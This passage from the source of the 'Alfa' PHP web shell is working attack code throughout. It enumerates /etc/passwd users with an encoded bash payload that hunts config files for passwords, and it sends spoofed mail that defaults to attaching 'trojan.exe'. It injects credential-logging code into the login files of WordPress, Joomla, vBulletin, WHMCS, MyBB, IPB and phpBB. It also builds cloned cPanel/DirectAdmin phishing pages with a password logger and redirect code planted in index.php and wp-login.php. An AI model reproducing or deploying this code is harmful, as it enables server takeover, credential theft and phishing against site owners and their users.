$safe_mode = @ini_get(\'safe_mode\');
if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);
$bash_users  = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
$users = json_decode($bash_users, true);
$x=count($users);
if($x>=2){array_pop($users);--$x;}
}
if(!$basedir&&!$safe_mode){
$x=0;
foreach($passwd as $str){
$pos = strpos($str,\':\');
$username = substr($str,0,$pos);
$dirz = str_replace("{user}", $username, $makepwd);
if(($username != \'\')){
if (@is_readable($dirz)){
array_push($users,$username);
$x++;
}}}
}
echo \'<br><br>\';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd
"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories
"."<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...

"."<br /><br /><br /></font></b>";
foreach($users as $user){
if(empty($user))continue;
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit=\'g(\"FilesMan\",this.c.value,\"\");return false;\'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class=\'foottable\' type=text name=c value=\'$path\'><input type=submit value=\'>>\'></form><br>";
}
}else{echo(\'<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>\');}
echo \'<br><br></b>\';
echo \'</div>\';
alfafooter();
}
function alfamail(){
alfahead();
echo \'<div class=header>\';
AlfaNum(8,9,10);
echo \'<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">\';
$table = array(
\'td1\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mail To : \', \'inputName\' => \'mail_to\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'60\',\'placeholder\' => true),
\'td2\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'From : \', \'inputName\' => \'mail_from\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'60\', \'placeholder\' => true),
\'td3\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Subject : \', \'inputName\' => \'mail_subject\', \'inputValue\' => \'your site hacked by me\', \'inputSize\' => \'60\'),
\'td4\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Attach File : \', \'inputName\' => \'mail_attach\', \'inputValue\' => $GLOBALS[\'cwd\'].\'trojan.exe\', \'inputSize\' => \'60\'),
\'td5\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Count Mail : \', \'inputName\' => \'count_mail\', \'inputValue\' => \'1\', \'inputSize\' => \'60\')
);
create_table($table);
echo \'<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>\';
if(isset($_POST[\'alfa4\'])&&($_POST[\'alfa4\'] == \'>>\')){
$mail_to = $_POST[\'alfa1\'];
$mail_from = $_POST[\'alfa2\'];
$mail_subject = $_POST[\'alfa3\'];
$mail_content = $_POST[\'alfa5\'];
$count_mail = (int)$_POST[\'alfa6\'];
$mail_attach = $_POST[\'alfa7\'];
if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
if(!empty($mail_attach)&&@is_file($mail_attach)){
$file = $mail_attach;
$content = __read_file($file);
$content = chunk_split(__ZW5jb2Rlcg($content));
$uid = md5(uniqid(time()));
$filename = basename($file);
$headers  = "From: ".$mail_from." <".$mail_from.">
";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) 
";
$headers .= "Reply-To: ".$mail_from."
";
$headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"

";
$headers .= \'MIME-Version: 1.0\' . "
";
$headers .= \'X-Mailer: php\' . "
";
$mail_content  = "--".$uid."
";
$mail_content .= "Content-type:text/plain; charset=iso-8859-1
";
$mail_content .= "Content-Transfer-Encoding: 7bit

";
$mail_content .= $mail_content."

";
$mail_content .= "--".$uid."
";
$mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"
";
$mail_content .= "Content-Transfer-Encoding: base64
";
$mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"

";
$mail_content .= $content."

";
$mail_content .= "--".$uid."--";
}else{
$headers  = "From: " . $mail_from. " ( ".$mail_from." ) 
";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) 
";
$headers .= \'Reply-To: \'.$mail_from.\'\' . "
";
$headers .= \'Content-type: text/html; charset=utf-8\' . "
";
$headers .= \'MIME-Version: 1.0\' . "
";
$headers .= \'X-Mailer: php\' . "
";
}
if(empty($count_mail)||$count_mail<1)$count_mail=1;
if(!empty($mail_from)){echo __pre();
for($i=1;$i<=$count_mail;$i++){
if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
}}else{__alert("Invalid Mail From !");}
}else{__alert("Invalid Mail To !");}
}
echo(\'</div>\');
alfafooter();
}
function alfaziper(){
alfahead();
AlfaNum(8,9,10);
echo \'<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>\';
if(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){
$dirzip = $_POST[\'alfa3\'];
$zipfile = $_POST[\'alfa4\'];
if($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell Compress-Archive -Path \'".addslashes($dirzip)."\' -DestinationPath \'".addslashes(basename($zipfile))."\'");
echo __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';
}elseif($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){
alfaEx("cd \'".addslashes(dirname($zipfile))."\';zip -r \'".addslashes(basename($zipfile))."\' \'".addslashes($dirzip)."\'");
echo __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';
}elseif(class_exists(\'ZipArchive\')){
if(__alfaziper($dirzip, $zipfile)){
echo __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font></p></center>\';
}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}
}
}
echo \'</div>\';
alfafooter();
}
function __alfaziper($source,$destination){
	if(!extension_loaded(\'zip\')||!file_exists($source)){
		return false;
	}
	$zip=new ZipArchive();
	if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
		return false;
	}
	$source=str_replace(\'\\',\'/\',realpath($source));
	if(is_dir($source)===true){
		$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
		foreach($files as $file){
			$file=str_replace(\'\\',\'/\',$file);
			if(in_array(substr($file,strrpos($file,\'/\')+1),array(\'.\',\'..\')))continue;
			$file=realpath($file);
			if(is_dir($file)===true){
				$zip->addEmptyDir(str_replace($source.\'/\',\'\',$file.\'/\'));
			}else if(is_file($file)===true){
				$zip->addFromString(str_replace($source.\'/\',\'\',$file),file_get_contents($file));
			}
		}
	}else if(is_file($source)===true){
		$zip->addFromString(basename($source),file_get_contents($source));
	}
	return $zip->close();
}
function alfadeziper(){
alfahead();
AlfaNum(8,9,10);
echo \'<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>\';
if(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){
$dirzip = $_POST[\'alfa3\'];
$zipfile = $_POST[\'alfa4\'];
if(@!is_dir($zipfile)){
	@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if(function_exists(\'finfo_open\')){
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
}else{
	if($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){
		$file_type = alfaEx(\'file -b --mime-type \' . $dirzip);
	}
}
if($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell expand-archive -path \'".addslashes($dirzip)."\' -destinationpath \'".addslashes(basename($zipfile))."\'");
echo __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';
}elseif($GLOBALS[\'sys\']==\'unix\'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx(\'which unzip\')) > 0||strlen(alfaEx(\'which tar\')) > 0||strlen(alfaEx(\'which gunzip\')) > 0)){
switch ($file_type) {
	case \'application/zip\':
		alfaEx("cd \'".addslashes($zipfile)."\';unzip \'".addslashes($dirzip)."\'");
	break;
	case \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':
		if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
			alfaEx("cd \'".addslashes($zipfile)."\';tar xzf \'".addslashes($dirzip)."\'");
		}else{
			alfaEx("cd \'".addslashes($zipfile)."\';gunzip \'".addslashes($dirzip)."\'");
		}
	break;
}
echo __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'\'.$zipfile.\'\');">[ View Folder ]</a></b></p></center>\';
}elseif(class_exists(\'ZipArchive\')){
	$itsok = false;
	if(emtpy($file_type)){
		$file_type = "application/zip";
	}
	switch ($file_type) {
		case \'application/zip\':
			$zip = new ZipArchive;
			$res = $zip->open($dirzip);
			if ($res) {
				$zip->extractTo($zipfile);
				$zip->close();
				$itsok = true;
			}
		break;
		case \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':
			if(strstr(basename($dirzip), ".tar.gz")){
				$new_file = $zipfile .\'/\'. basename($dirzip);
				@copy($dirzip, $new_file);
				$new_tar = str_replace(".tar.gz", ".tar", $new_file);
				try {
					$p = new PharData($new_file);
					$p->decompress();
					$phar = new PharData($new_tar);
					$phar->extractTo($zipfile);
					@unlink($new_file);
					@unlink($new_tar);
					$itsok = true;
				} catch (Exception $e) {
				}
			}else{
				try {
					$phar = new PharData($dirzip);
					$phar->extractTo($zipfile);
					$itsok = true;
				} catch (Exception $e) {
				}
			}
		break;
	}
if($itsok){
echo __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'\'.$zipfile.\'\');">[ View Folder ]</a></p></center>\';
}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}
}
}
echo \'</div>\';
alfafooter();
}
function alfacmshijacker(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo \'<div class=header><br>
<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">\';
$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
foreach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';
echo("</select>");
echo \' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="\'.$GLOBALS[\'cwd\'].\'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>\';
$cms = $_POST[\'alfa1\'];
$saveto = $_POST[\'alfa2\'];
$cmspath = $_POST[\'alfa4\'];
if(!empty($cms) AND !empty($saveto) AND $_POST[\'alfa4\'] AND $_POST[\'alfa3\'] == \'>>\'){
echo __pre();
alfaHijackCms($cms,$cmspath,$saveto);
}
echo \'</div>\';
alfafooter();
}
function alfaHijackCms($cms,$cmspath,$saveto){
switch($cms){
case "vb":
hijackvBulletin($cmspath,$saveto);
break;
case "wp":
hijackwp($cmspath,$saveto);
break;
case "jom":
hijackJoomla($cmspath,$saveto);
break;
case "whmcs":
hijackWhmcs($cmspath,$saveto);
break;
case "mybb":
hijackMybb($cmspath,$saveto);
break;
case "ipb":
hijackIPB($cmspath,$saveto);
break;
case "phpbb":
hijackPHPBB($cmspath,$saveto);
break;
default:
echo "error!";
break;
}
}
function hijackvBulletin($path,$saveto){
$code=\'$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' .  $alfa_password." (" . $row["email"] . ")
");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';
$clearpw = \'defined(\'DISABLE_PASSWORD_CLEARING\')\';
$code=str_replace(\'{saveto_path}\',$saveto,$code);
$login = $path."/login.php";
$class = $path."/includes/class_bootstrap.php";
$dologin = \'do_login_redirect();\';
$evil_login = "	".$code."
	".$dologin;
$evil_class = "true";
if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){
$data_login = @file_get_contents($login);
$data_class = @file_get_contents($class);
if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){
$login_replace = str_replace($dologin,$evil_login, $data_login);
$class_replace = str_replace($clearpw,$evil_class, $data_class);
@file_put_contents($login, $login_replace);
@file_put_contents($class, $class_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackwp($path,$saveto){
$code = \'$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")
");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';
$redirect_wp = \'#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#\';
$code=str_replace(\'{saveto_path}\',$saveto,$code);
$login=$path."/wp-login.php";
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(@preg_match($redirect_wp, $data_login, $match)){
$evil_login = "	".$match[0]."
	".$code;
$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackJoomla($path,$saveto){
$code = \'<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )
");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>\';
$code=str_replace(\'{saveto_path}\',$saveto,$code);
$comp=$path."/administrator/components/com_login/";
if(@is_file($comp."/login.php")){
$login = $comp."/login.php";
}elseif(@is_file($comp."/admin.login.php")){
$login = $comp."/admin.login.php";
}else{
$login = \'\';
}
if(@is_file($login) AND @is_writable($login) AND $login != \'\'){
$data_login = @file_get_contents($login);
$evil_login = $code."
".$data_login;
@file_put_contents($login, $evil_login);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackWhmcs($path,$saveto){
$code = \'<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."
");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>\';
$code=str_replace(\'{saveto_path}\',$saveto,$code);
$conf=$path."/configuration.php";
if(@is_file($conf) AND @is_writable($conf)){
$data_conf = @file_get_contents($conf);
if(!strstr($data_conf,\'?>\'))$code = \'?>\'.$code;
$evil_conf = $data_conf."
".$code;
@file_put_contents($conf, $evil_conf);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackMybb($path,$saveto){
$code = \'$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )
");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);\';
$find = \'$loginhandler->complete_login();\';
$code=str_replace(\'{saveto_path}\',$saveto,$code);
$login=$path."/member.php";
$evil_login = "	".$code."
	".$find;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackIPB($path,$saveto){
$code = \'$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."
");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';
$find = \'unset( $member[\'plainPassword\'] );\';
$code=str_replace(\'{saveto_path}\',$saveto,$code);
$login=$path."/admin/sources/handlers/han_login.php";
$evil_login = "	".$find."
	".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackPHPBB($path,$saveto){
$code = \'$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )
");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';
$find = \'case \'login\':\';
$code=str_replace(\'{saveto_path}\',$saveto,$code);
$login=$path."/ucp.php";
$evil_login = "	".$find."
	".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackOutput($c=0,$p=\'\'){echo($c==0?"<center><font color=\'green\'>Success</font> --> path: $p</center>":\'<center><font color="red">Error in inject code !</font></center>\');}
function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){
if(@is_dir($dir)){
$files=@scandir($dir);
foreach($files as $key => $value){
$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
if(!@is_dir($path)){
if($ext!=\'*\'){$f = basename($path);$f = explode(\'.\',$f);$f = end($f);if($f!=$ext)continue;}
if($e==\'str\'){
$content = @file_get_contents($path);
if(strpos($content, $string) !== false){
echo str_replace(\'\\',\'/\',$path) . "<br>";
}
}else{
if(strstr($value,$string)){
echo str_replace(\'\\',\'/\',$path) . "<br>";
}
}
$results[] = $path;
}elseif($value != "." && $value != "..") {
Alfa_StrSearcher($path,$string,$ext,$e,$results);
$results[] = $path;
}}}}
function alfafakepage(){
	alfahead();
	AlfaNum(9,10);
	echo \'<div class=header><br>
	<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\'fakepage\',null,this.clone_page.value,this.fake_root.value,\'>>\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\'post\'>
	<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">\';
	$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");
	foreach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';
	echo("</select></div>");
	echo \'<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
	<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/fake_page_root/"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/index.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: \'.$_SERVER["DOCUMENT_ROOT"].\'/wp-login.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="\'.$GLOBALS[\'cwd\'].\'logs.txt"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
	<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>\';
	$clone_page = $_POST[\'alfa1\'];
	$fake_root = $_POST[\'alfa2\'];
	$logto = $_POST[\'alfa4\'];
	$panel = $_POST[\'alfa5\'];
	$inject_to = $_POST[\'alfa6\'];
	$bind_on = $_POST[\'alfa7\'];
	$count = $_POST[\'alfa8\'];
	if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST[\'alfa3\'] == \'>>\'){
		echo __pre();
		$target = $clone_page;
		$curl = new AlfaCURL();
		$source_page = $curl->Send($target);
		if(!empty($source_page)){
			$matched_form = "";
			if($panel == "cpanel"){
				if(preg_match(\'#<form(.*)id="login_form"(.*)>#\', $source_page, $match)){
					$matched_form = $match[0];
				}
			}else{
				if(preg_match(\'#<form(.*?)>#\', $source_page, $match)){
					$matched_form = $match[0];
				}
			}
			if(!empty($matched_form)){
				$fake = "";
				$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $fake_root);
				$uri = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $inject_to);
				if($panel == "cpanel"){
					$port = "2083";
				}else{
					$target = str_replace(array("http://", "https://"), "", $target);
					$port = explode(":",$target);
					$port = $port[1];
				}
				if(substr($uri, 0, 1) == "/"){
					$uri = substr($uri, 1);
				}
				$uri = $_SERVER["HTTP_ORIGIN"] . \'/\' . str_replace("index.php", "", $uri) . \'?:\' . $port;
				$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . \'/log.php\';
				if($panel == "cpanel"){
					$form = \'<form novalidate id="login_form" action="\'.$log_url.\'" method="post" target="_top" style="visibility:">\';
				}else{
					$form = \'<form action="\'.$log_url.\'" method="post">\';
				}
				$fake = str_replace($matched_form, $form, $source_page);
				if(@!is_dir($fake_root)){
					@mkdir($fake_root, 0777, true);
				}

				$cookie_name = "alfa_fakepage_counter" . rand(9999,99999);

				$post_user = \'user\';
				$post_pass = \'pass\';
				$resp_code = \'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}\';
				if($panel != "cpanel"){
					$post_user = \'username\';
					$post_pass = \'password\';
					$resp_code = \'@header("Location: ".$_SERVER[\'HTTP_REFERER\']);\';
				}

				$cpanel_log = \'<?php $cook_time = time()+(86400 * 7); $user = $_POST["\'.$post_user.\'"];$pass = $_POST["\'.$post_pass.\'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["\'.$cookie_name.\'"])){@setcookie("\'.$cookie_name.\'", 0, $cook_time, "/");$_COOKIE["\'.$cookie_name.\'"]=1;}if((int)$_COOKIE["\'.$cookie_name.\'"]>\'.$count.\'){@header("Location: /");exit;}@setcookie("\'.$cookie_name.\'", ((int)$_COOKIE["\'.$cookie_name.\'"] + 1), $cook_time, "/");$fp = @fopen("\'.$logto.\'", "a+");@fwrite($fp, $user . " : " . $pass . "
");fclose($fp);sleep(3);\'.$resp_code.\'exit;}?>\';

				@file_put_contents($fake_root.\'/log.php\', $cpanel_log);

				if($panel == "cpanel"){
					$fake = preg_replace(array(\'#<link(.*)href="(.*)"(.*)>#\', \'#<img class="main-logo" src="(.*)"(.*)>#\', \'# <a(.*)id="reset_password">#\'), array(\'<link href="\'.$target.\'/$2">\', \'<img class="main-logo" src="\'.$target.\'/$1" alt="logo" />\', \'<a href="#" id="reset_password">\'), $fake);
				}

				@file_put_contents($fake_root.\'/index.php\', $fake);

				$inject_code = \'<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@include("\'.$fake_root.\'/index.php");exit;}?>\';
				$bind_on_code = \'<?php if((int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@header("Location: \'.$uri.\'");exit;}?>\';

				@file_put_contents($inject_to, $inject_code . "
" .@file_get_contents($inject_to));
				@file_put_contents($bind_on, $bind_on_code . "
" .@file_get_contents($bind_on));

				echo "success...!";
			}else{
				echo "failed...!";
			}
		}else{
			echo("<div style=\'text-align:center;color:red;\'>Cannot open the target...!</div>");
		}
	}
	echo \'</div>\';
	alfafooter();
}
function alfaarchive_manager(){
	alfahead();
	$file = $_POST[\'alfa2\'];
	if(!file_exists($file)){
		$file = $GLOBALS[\'cwd\'];
	}
	$rand_id = rand(9999, 999999);
	echo \'<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>\';
